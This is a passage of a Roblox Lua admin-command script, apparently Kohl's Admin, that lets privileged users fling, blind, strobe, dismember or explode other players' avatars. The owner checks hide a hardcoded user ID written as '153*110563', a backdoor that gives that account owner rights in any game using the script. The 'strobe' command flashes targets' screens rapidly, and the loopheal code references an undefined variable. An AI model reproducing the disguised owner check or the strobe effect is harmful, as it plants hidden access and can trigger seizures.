v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1745
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1746
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1747
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1748
end
1749
end))
1750
end
1751
end
1752
1753
if msg:lower():sub(1,8) == "creeper " then
1754
local plrz = GetPlr(plr, msg:lower():sub(9))
1755
for i, v in pairs(plrz) do
1756
coroutine.resume(coroutine.create(function()
1757
if v and v.Character and v.Character:findFirstChild("Torso") then
1758
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1759
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1760
v.Character.Torso.Transparency = 0
1761
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1762
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1763
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1764
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1765
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1766
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1767
end
1768
end))
1769
end
1770
end
1771
1772
if msg:lower():sub(1,10) == "uncreeper " then
1773
local plrz = GetPlr(plr, msg:lower():sub(11))
1774
for i, v in pairs(plrz) do
1775
coroutine.resume(coroutine.create(function()
1776
if v and v.Character and v.Character:findFirstChild("Torso") then
1777
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1778
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1779
v.Character.Torso.Transparency = 0
1780
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1781
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1782
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1783
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1784
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1785
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1786
end
1787
end))
1788
end
1789
end
1790
1791
if msg:lower():sub(1,8) == "bighead " then
1792
local plrz = GetPlr(plr, msg:lower():sub(9))
1793
for i, v in pairs(plrz) do
1794
coroutine.resume(coroutine.create(function()
1795
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1796
end))
1797
end
1798
end
1799
1800
if msg:lower():sub(1,9) == "minihead " then
1801
local plrz = GetPlr(plr, msg:lower():sub(10))
1802
for i, v in pairs(plrz) do
1803
coroutine.resume(coroutine.create(function()
1804
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1805
end))
1806
end
1807
end
1808
1809
if msg:lower():sub(1,6) == "fling " then
1810
local plrz = GetPlr(plr, msg:lower():sub(7))
1811
for i, v in pairs(plrz) do
1812
coroutine.resume(coroutine.create(function()
1813
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then 
1814
local xran local zran
1815
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1816
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1817
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1818
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1819
end
1820
end))
1821
end
1822
end
1823
1824
if msg:lower():sub(1,8) == "seizure " then
1825
local plrz = GetPlr(plr, msg:lower():sub(9))
1826
for i, v in pairs(plrz) do
1827
coroutine.resume(coroutine.create(function()
1828
if v and v.Character then 
1829
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
1830
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1831
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1832
end
1833
end))
1834
end
1835
end
1836
1837
if msg:lower():sub(1,10) == "unseizure " then
1838
local plrz = GetPlr(plr, msg:lower():sub(11))
1839
for i, v in pairs(plrz) do
1840
coroutine.resume(coroutine.create(function()
1841
if v and v.Character then 
1842
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1843
wait(.1) v.Character.Humanoid.PlatformStand = false
1844
end
1845
end))
1846
end
1847
end
1848
1849
if msg:lower():sub(1,12) == "removelimbs " then
1850
local plrz = GetPlr(plr, msg:lower():sub(13))
1851
for i, v in pairs(plrz) do
1852
coroutine.resume(coroutine.create(function()
1853
if v and v.Character then 
1854
for a, obj in pairs(v.Character:children()) do 
1855
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1856
end
1857
end
1858
end))
1859
end
1860
end
1861
1862
if msg:lower():sub(1,5) == "name " then
1863
local chk1 = msg:lower():sub(6):find(" ") + 5
1864
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1865
for i, v in pairs(plrz) do
1866
coroutine.resume(coroutine.create(function()
1867
if v and v.Character and v.Character:findFirstChild("Head") then 
1868
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1869
local char = v.Character
1870
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1871
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1872
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1873
char.Head.Transparency = 1
1874
end
1875
end))
1876
end
1877
end
1878
1879
if msg:lower():sub(1,7) == "unname " then
1880
local plrz = GetPlr(plr, msg:lower():sub(8))
1881
for i, v in pairs(plrz) do
1882
coroutine.resume(coroutine.create(function()
1883
if v and v.Character and v.Character:findFirstChild("Head") then 
1884
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1885
end
1886
end))
1887
end
1888
end
1889
1890
if msg:lower():sub(1,5) == "char " then
1891
local chk1 = msg:lower():sub(6):find(" ") + 5
1892
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1893
for i, v in pairs(plrz) do
1894
coroutine.resume(coroutine.create(function()
1895
if v and v.Character then 
1896
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1897
v:LoadCharacter()
1898
end
1899
end))
1900
end
1901
end
1902
1903
if msg:lower():sub(1,7) == "unchar " then
1904
local plrz = GetPlr(plr, msg:lower():sub(8))
1905
for i, v in pairs(plrz) do
1906
coroutine.resume(coroutine.create(function()
1907
if v and v.Character then 
1908
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1909
v:LoadCharacter()
1910
end
1911
end))
1912
end
1913
end
1914
1915
if msg:lower():sub(1,7) == "infect " then
1916
local plrz = GetPlr(plr, msg:lower():sub(8))
1917
for i, v in pairs(plrz) do
1918
coroutine.resume(coroutine.create(function()
1919
if v and v.Character then
1920
Infect(v.Character)
1921
end
1922
end))
1923
end
1924
end
1925
1926
if msg:lower():sub(1,11) == "rainbowify " then
1927
local plrz = GetPlr(plr, msg:lower():sub(12))
1928
for i, v in pairs(plrz) do
1929
coroutine.resume(coroutine.create(function()
1930
if v and v.Character and v.Character:findFirstChild("Torso") then 
1931
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1932
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1933
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1934
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1935
cl.Parent = v.Character cl.Disabled = false
1936
end
1937
end))
1938
end
1939
end
1940
1941
if msg:lower():sub(1,9) == "flashify " then
1942
local plrz = GetPlr(plr, msg:lower():sub(10))
1943
for i, v in pairs(plrz) do
1944
coroutine.resume(coroutine.create(function()
1945
if v and v.Character and v.Character:findFirstChild("Torso") then 
1946
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1947
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1948
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1949
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1950
cl.Parent = v.Character cl.Disabled = false
1951
end
1952
end))
1953
end
1954
end
1955
1956
if msg:lower():sub(1,8) == "noobify " then
1957
local plrz = GetPlr(plr, msg:lower():sub(9))
1958
for i, v in pairs(plrz) do
1959
coroutine.resume(coroutine.create(function()
1960
if v and v.Character then
1961
Noobify(v.Character)
1962
end
1963
end))
1964
end
1965
end
1966
1967
if msg:lower():sub(1,9) == "ghostify " then
1968
local plrz = GetPlr(plr, msg:lower():sub(10))
1969
for i, v in pairs(plrz) do
1970
coroutine.resume(coroutine.create(function()
1971
if v and v.Character and v.Character:findFirstChild("Torso") then 
1972
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1973
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1974
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1975
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1976
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1977
if prt.Name:find("Leg") then prt.Transparency = 1 end
1978
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
1979
end end
1980
end
1981
end))
1982
end
1983
end
1984
1985
if msg:lower():sub(1,8) == "goldify " then
1986
local plrz = GetPlr(plr, msg:lower():sub(9))
1987
for i, v in pairs(plrz) do
1988
coroutine.resume(coroutine.create(function()
1989
if v and v.Character and v.Character:findFirstChild("Torso") then 
1990
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1991
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1992
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1993
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1994
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
1995
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
1996
end end
1997
end
1998
end))
1999
end
2000
end
2001
2002
if msg:lower():sub(1,6) == "shiny " then
2003
local plrz = GetPlr(plr, msg:lower():sub(7))
2004
for i, v in pairs(plrz) do
2005
coroutine.resume(coroutine.create(function()
2006
if v and v.Character and v.Character:findFirstChild("Torso") then 
2007
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
2008
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
2009
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2010
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2011
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
2012
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
2013
end end
2014
end
2015
end))
2016
end
2017
end
2018
2019
if msg:lower():sub(1,7) == "normal " then
2020
local plrz = GetPlr(plr, msg:lower():sub(8))
2021
for i, v in pairs(plrz) do
2022
coroutine.resume(coroutine.create(function()
2023
if v and v.Character and v.Character:findFirstChild("Torso") then
2024
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 
2025
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
2026
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
2027
v.Character.Torso.Transparency = 0
2028
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
2029
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
2030
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
2031
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
2032
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
2033
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2034
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2035
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
2036
if prt.Name == "FAKETORSO" then prt:Destroy() end
2037
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
2038
end end
2039
end
2040
end))
2041
end
2042
end
2043
2044
if msg:lower():sub(1,7) == "trippy " then
2045
local plrz = GetPlr(plr, msg:lower():sub(8))
2046
for i, v in pairs(plrz) do
2047
coroutine.resume(coroutine.create(function()
2048
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2049
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2050
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
2051
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2052
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
2053
end
2054
end))
2055
end
2056
end
2057
2058
if msg:lower():sub(1,9) == "untrippy " then
2059
local plrz = GetPlr(plr, msg:lower():sub(10))
2060
for i, v in pairs(plrz) do
2061
coroutine.resume(coroutine.create(function()
2062
if v and v:findFirstChild("PlayerGui") then 
2063
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
2064
end
2065
end))
2066
end
2067
end
2068
2069
if msg:lower():sub(1,7) == "strobe " then
2070
local plrz = GetPlr(plr, msg:lower():sub(8))
2071
for i, v in pairs(plrz) do
2072
coroutine.resume(coroutine.create(function()
2073
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2074
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2075
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
2076
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2077
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
2078
end
2079
end))
2080
end
2081
end
2082
2083
if msg:lower():sub(1,9) == "unstrobe " then
2084
local plrz = GetPlr(plr, msg:lower():sub(10))
2085
for i, v in pairs(plrz) do
2086
coroutine.resume(coroutine.create(function()
2087
if v and v:findFirstChild("PlayerGui") then 
2088
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
2089
end
2090
end))
2091
end
2092
end
2093
2094
if msg:lower():sub(1,6) == "blind " then
2095
local plrz = GetPlr(plr, msg:lower():sub(7))
2096
for i, v in pairs(plrz) do
2097
coroutine.resume(coroutine.create(function()
2098
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2099
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2100
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
2101
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2102
end
2103
end))
2104
end
2105
end
2106
2107
if msg:lower():sub(1,8) == "unblind " then
2108
local plrz = GetPlr(plr, msg:lower():sub(9))
2109
for i, v in pairs(plrz) do
2110
coroutine.resume(coroutine.create(function()
2111
if v and v:findFirstChild("PlayerGui") then 
2112
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
2113
end
2114
end))
2115
end
2116
end
2117
2118
if msg:lower():sub(1,7) == "guifix " then
2119
local plrz = GetPlr(plr, msg:lower():sub(8))
2120
for i, v in pairs(plrz) do
2121
coroutine.resume(coroutine.create(function()
2122
if v and v:findFirstChild("PlayerGui") then 
2123
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2124
end
2125
end))
2126
end
2127
end
2128
2129
if msg:lower():sub(1,9) == "loopheal " then
2130
local plrz = GetPlr(plr, msg:lower():sub(10))
2131
for i, v in pairs(plrz) do
2132
if v then
2133
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
2134
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2135
repeat wait()
2136
coroutine.resume(coroutine.create(function()
2137
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then 
2138
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
2139
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
2140
end
2141
end))
2142
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2143
end
2144
end
2145
end
2146
2147
if msg:lower():sub(1,11) == "unloopheal " then
2148
local plrz = GetPlr(plr, msg:lower():sub(12))
2149
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2150
end
2151
2152
if msg:lower():sub(1,10) == "loopfling " then
2153
local plrz = GetPlr(plr, msg:lower():sub(11))
2154
for i, v in pairs(plrz) do
2155
if v then
2156
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
2157
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2158
repeat
2159
coroutine.resume(coroutine.create(function()
2160
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then 
2161
local xran local zran
2162
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
2163
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
2164
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
2165
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
2166
end
2167
end))
2168
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2169
end
2170
end
2171
end
2172
2173
if msg:lower():sub(1,12) == "unloopfling " then
2174
local plrz = GetPlr(plr, msg:lower():sub(13))
2175
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2176
end
2177
	
2178
end
2179
2180
-------------------------
2181
-- True Owner Commands --
2182
-------------------------
2183
2184
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
2185
2186
if msg:lower():sub(1,3) == "oa " then
2187
local plrz = GetPlr(plr, msg:lower():sub(4))
2188
for i, v in pairs(plrz) do
2189
coroutine.resume(coroutine.create(function()
2190
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2191
end))
2192
end
2193
end
2194
2195
if msg:lower():sub(1,5) == "unoa " then
2196
for i = 1, #owners do
2197
coroutine.resume(coroutine.create(function()
2198
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
2199
end))
2200
end
2201
end
2202
2203
if msg:lower() == "settings" then
2204
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
2205
local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
2206
local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
2207
local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
2208
local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
2209
local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
2210
local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
2211
local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
2212
if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
2213
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
2214
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
2215
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
2216
end
2217
2218
end
2219
2220
--------------------
2221
-- Owner Commands --
2222
--------------------
2223
2224
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
2225
2226
if msg:lower():sub(1,3) == "pa " then
2227
local plrz = GetPlr(plr, msg:lower():sub(4))
2228
for i, v in pairs(plrz) do
2229
coroutine.resume(coroutine.create(function()
2230
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2231
end))
2232
end
2233
end
2234
2235
if msg:lower():sub(1,5) == "unpa " then
2236
for i = 1, #admins do
2237
coroutine.resume(coroutine.create(function()
2238
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2239
end))
2240
end
2241
end
2242
2243
if msg:lower():sub(1,5) == "nuke " then
2244
local plrz = GetPlr(plr, msg:lower():sub(6))
2245
for i, v in pairs(plrz) do
2246
coroutine.resume(coroutine.create(function()
2247
if v and v.Character and v.Character:findFirstChild("Torso") then
2248
local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
2249
p.Anchored = true
2250
p.CanCollide = false
2251
p.formFactor = "Symmetric"
2252
p.Shape = "Ball"
2253
p.Size = Vector3.new(1,1,1)
2254
p.BrickColor = BrickColor.new("New Yeller")
2255
p.Transparency = .5
2256
p.Reflectance = .2
2257
p.TopSurface = 0
2258
p.BottomSurface = 0
2259
p.Touched:connect(function(hit)
2260
if hit and hit.Parent then
2261
local ex = Instance.new("Explosion", game.Workspace)
2262
ex.Position = hit.Position
2263
ex.BlastRadius = 11
2264
ex.BlastPressure = math.huge
2265
end
2266
end)
2267
local cf = v.Character.Torso.CFrame
2268
p.CFrame = cf
2269
for i = 1, 333 do
2270
p.Size = p.Size + Vector3.new(3,3,3)
2271
p.CFrame = cf
2272
wait(1/44)
2273
end
2274
p:Destroy()
2275
end
